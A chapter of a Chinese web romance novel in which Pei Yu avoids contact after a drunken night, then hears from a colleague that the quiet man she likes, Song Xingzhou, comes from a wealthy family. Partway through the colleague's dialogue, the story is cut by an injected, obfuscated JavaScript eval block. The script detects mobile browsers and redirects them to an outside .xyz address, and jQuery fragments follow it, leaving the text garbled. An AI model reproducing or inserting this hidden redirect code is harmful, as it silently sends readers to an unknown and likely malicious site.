36. 他家条件好像挺不错的

作品:《今天心动了吗

    裴雨的请假申请只批了一天。


    她原本还想着或许多请一天也不奇怪,反正项目进度还没落到她头上,老板这几天在出差,人事那边也不可能专门管她请了几天假。但当她看到那条「请假审批通过」的提醒只写了24小时有效时,她却没有一点反抗的念头。


    好像连那点争取的力气也没有了。


    她就那么窝在沙发上,捧着手机看着那条通知,眼神有些空洞。茶几上的保温饭盒已经被她收进了冰箱,字条仍然放在原位,像是她刻意留下来的某种“现场证据”,又像是一个她迟迟不肯面对的提醒。


    宋行舟已经走了。


    没有再发任何消息,也没有试图联系她。


    她手机一整天没有震动过。微信静默,通讯录像被封冻了一样。


    她没有给林希回消息,也没有去群里刷存在感。所有人好像都默认她今天是“请假状态”,也没有主动来打扰她。助理发来一个“明天会议资料提前交”的提醒,她隔了很久才回了一个“知道了”。


    她甚至不敢点开和宋行舟的对话框。


    那行对话记录永远停留在几天前。


    但他把她从酒吧带走,喂她喝水,做了饭,留了字条,然后离开——干脆、果断、不留缝隙。


    她窝在家里,窝在自己的小屋里,从早到晚像一只把自己壳子盖得死死的乌龟。她没有点外卖,也没有下楼,就靠冰箱里现成的食物和剩下的饭菜熬了一天。


    中午的时候她热了碗汤,喝了两口。


    晚上又用电饭煲煮了一碗面,扔了几个青菜进去,胡乱搅了一搅,味道淡得几乎吃不出咸味,但她也没心思再调料了。


    吃完后她又坐回沙发,看了一会儿没头没尾的综艺节目,电视机放着某个歌手参加选秀的片段,观众席尖叫,评委点评,欢快又热闹。


    可那种热闹隔着屏幕扑过来时,她却只觉得聒噪。


    她关掉电视,躺倒在沙发上,把毯子蒙住头,想睡。


    睡不着。


    手机不知什么时候又滑进了她的掌心。她一遍遍解锁,又一遍遍锁屏,拇指总是滑到通讯录那一栏,最后又默默划回主页。


    林希给她发了几条消息:


    【你那天晚上到底怎么了?


    那是你朋友?看着不像……


    我朋友说你第二杯开始脸就红得吓人了,你是不是之前就没怎么吃饭?


    裴雨?你到底在不在家?】


    她看到这些字的时候有那么一瞬间想回复。


    可她还是没有。


    她不知道怎么解释,也不想解释。


    说什么呢?说她醉了,说宋行舟是她莫名其妙喜欢上的一个男人,说她一晚上没让人走,但结果那人第二天人又不声不响地走了?


    太丢脸了。


    她裴雨从来不是个这么没主意、这么情绪化的人。


    可现在她真的不知道怎么面对。


    她怕一联系他,自己就会不由自主地问那些她原本不想问出口的问题。她怕他冷静、礼貌、不带情绪地回答每一个问题,像是在给一个陌生的客户答疑,而不是她。


    她更怕自己从那些冷静里,听出一种真正的边界感。


    所以她干脆不联系了。


    逃避是软弱的,但也是最容易的方式。


    她泡了个热水澡,躲在水汽里发了半小时呆,脑子里却什么都想不清楚。水流冲刷她的脊背时,她忽然有种错觉——她不是在洗澡,而是在试图洗掉昨天、前天,乃至过去这整整一个月的混乱。


    可洗不掉。


    宋行舟像是根钉子,钉进了她心里最柔软的一角,悄无声息地,但扎得她彻底没办法忽略。


    他看起来明明没那么耀眼,穿着普通、沉默寡言,也不擅长表达情绪。可偏偏就是这样的人,让她第一次觉得自己可能会陷进去,陷得不像自己。


    她也讨厌这种不像自己的感觉。


    凌晨两点,她还没睡。


    她躺在床上,望着天花板,脑子空白,却怎么也静不下来。酒劲早过了,宿醉的后遗症倒是还残留着,太阳穴隐隐作痛,她干脆起身倒了杯水,又在窗边站了一会儿。


    夜风轻轻地吹进来,小区已经全黑了。


    她终于咬咬牙,回到床上,把手机调成飞行模式,蒙头睡觉。


    这一觉没有梦。


    像是全身被抽空了什么,也像是一种本能性的休眠。


    第二天早上闹钟响起时,她迟了十分钟才起身。眼睛肿了一点,脸色还苍白,但整个人已经恢复了一点力气。


    她洗漱完、换了件简单的西装外套,对着镜子补了点粉底遮住眼圈,提着包出门。


    重新踩上那条熟悉的通勤路时,她还是忍不住扫了眼路边的车道。


    没有他的电动车。


    当然也没有他的身影。


    她轻轻叹了口气,把目光移开,踩着高跟鞋,一步步走进了城市的早高峰。


    生活重新开始运转,仿佛那一夜只是她一个人的错觉。


    请假一天后,裴雨重回办公室,阳光穿过半掩的百叶窗打在她的办公桌上,落出斑驳的一层淡影。


    她走进去时,人已经到得差不多了,坐在各自的位置上忙碌,键盘敲击声此起彼伏,一如往常的节奏。助理小许见她来了,抬头跟她打了个招呼,眼神有些小心:“裴姐,早。”


    “嗯。”她点头,声音低了些,坐回工位。


    打开电脑的瞬间,她看了一眼屏幕右下角的时间,离上午会议还有二十多分钟。她从包里拿出随身的小瓶喷雾,在脸上轻轻喷了一下,借着镜面的反光补了口气色,看起来比前一天好了一点。


    可事实上,连她自己都知道——这只是表面的伪装。


    她心里像被沉甸甸的东西堵着,透不过气。


    林希是在她刚泡好第一杯咖啡、还没拿起时过来的。


    她那天穿了一条贴身的针织裙,外头搭着常穿的西装外套,唇色依旧艳,眼妆却化得比平常淡了些。脚步踩得轻快,端着咖啡杯坐到了她对面。


    “你终于来了。”她笑着说,“昨天问你你都不回我,我还以为你醉得出什么事了。”


    裴雨低头抿了一口自己杯里的咖啡,苦涩刚好压过心底的烦躁,轻声:“手机静音了,没看。”


    林希挑眉,似乎没打算计较,慢悠悠地搅拌着咖啡:“你那天是真的醉了。”


    “……嗯。”


    “幸好有人接你。”她若无其事地开口,“要不是宋行舟,我那几个朋友都不知道该怎么送你回去。说真的,我也是后来才知道你们认识。”


    裴雨手指一顿,杯沿碰在桌面的声音轻微得像一滴雨。


    她没说话,只是抬眼看向林希,带着一点莫名的提防。


    林希却只是笑,眼神从她脸上掠过,像是在观察反应,又像是随口聊天:“你跟他是……熟人?还是?”


    “……不是很熟。”裴雨垂下眼帘,语气尽量平淡。


    “可他那天看着挺担心你的啊。”


    林希盯着她看,语气很轻,却不像单纯的好奇,倒像是一种温柔的剖析:“你喝多了都快摔了,他扶得很快,那姿势我看了都眼熟—


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840753|173386||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    —你知道吗,宋行舟其实平常挺冷的,跟我那帮朋友也都没怎么混过,算是面熟,但大家不太接触。那天他会那么主动,我还挺意外的。”


    裴雨没回答。


    她低着头,一点一点搅拌杯里的咖啡,心却像被人拿细针在缝,一针一线,都落在了最敏感的地方。


    林希似乎是等她说话,但没等来,便换了个角度。


    “你知道吗,”她忽然笑了下,声音压低了些,像是随意提起八卦,“其实宋行舟家里条件还挺好的。他堂哥你可能听过,宋远泽,在魔都投行圈也算小有名气。他们家以前住在静安那边,后来搬去外环了,父母好像早年投资了点房产,现在赚翻了。”


    她每说一句,裴雨的眉心就紧一分。


    “而且他那辆车啊,你那天可能没注意,我朋友说是B家比较冷门的一款,配置挺高的,落地得六十多万吧。”林希微微耸肩,像是在调侃,“就他平常那个工装打扮,真看不出来会开那种车。”


    空气沉寂了一瞬。


    裴雨终于开口,声音有些哑:“你是怎么知道这些的?”


    “你以为我们那些朋友都是真混酒的啊?”林希轻笑,“有好几个都是在本地金融圈的,而且本来以前就认识,或多或少都有些了解。”


    她又顿了顿,语气没什么起伏:“所以我才说嘛,他来接你那天,真的挺意外的。”


    裴雨喉咙干涩,握着杯子的手指微微发紧。


    她脑子里像过电影似的,把宋行舟那些日常的影像逐一倒带。


    他穿深色工作服,袖口有旧油印。他常常背个黑色斜挎包来去匆匆,说自己是电厂的底层工人。他骑电动车,偶尔会从包里掏出饭盒,说是自己早上做的午饭。


    她从来没怀疑过这些。


    但现在……


    他坐在她沙发上的身影忽然变得沉默了起来。他在昏黄灯光下帮她热饭的背影变得模糊。他说话时的那种含蓄与沉稳,忽然让她感到一点陌生。


    “你知道他背景不错,却还是觉得他挺冷的?”裴雨忽然开口,语气有些低。


    林希眨了眨眼:“背景好,不代表他爱社交。他就是那种,圈子干净,行事低调的人。”


    “你们……你和他之前见过很多次?”


    “算不上很多。”林希摇头,“以前碰过几回,聚会里偶尔遇见。但他基本不说话,不掺和。”


    “那为什么他那天……”


    “我不是也在纳闷这个嘛。”林希笑笑,语气轻巧,“所以我才来问你啊,他跟你什么关系。”


    裴雨没有回答。


    但她已经知道——从林希嘴里听到的这一切,比宋行舟的任何一句话都更让她震惊。


    他从来没有主动告诉过她这些。


    不是因为她不在意,而是因为她从没问过。


    她一度以为,自己喜欢他,是不带附加条件的,是发自本能的靠近和心动。但现在林希轻描淡写一句“他家里条件还不错”,却让她忽然觉得自己是个被蒙在鼓里的傻子。


    是啊。


    她从前最看重的,是学历、能力、未来,是一个可以带她往前走的人。可她在宋行舟面前,从来没有问过他毕业于哪、做过什么、有没有过真正属于他的东西。


    她只是在喜欢他,喜欢他的安静,喜欢他的眼神,喜欢他沉默中偶尔露出的那一点温柔。


    可她真的了解他吗?


    她不确定了。


    林希还在说着什么,她已经听不进去了。


    耳边嗡嗡作响,她只是低着头,手指收紧在掌心,咖啡早已冷透。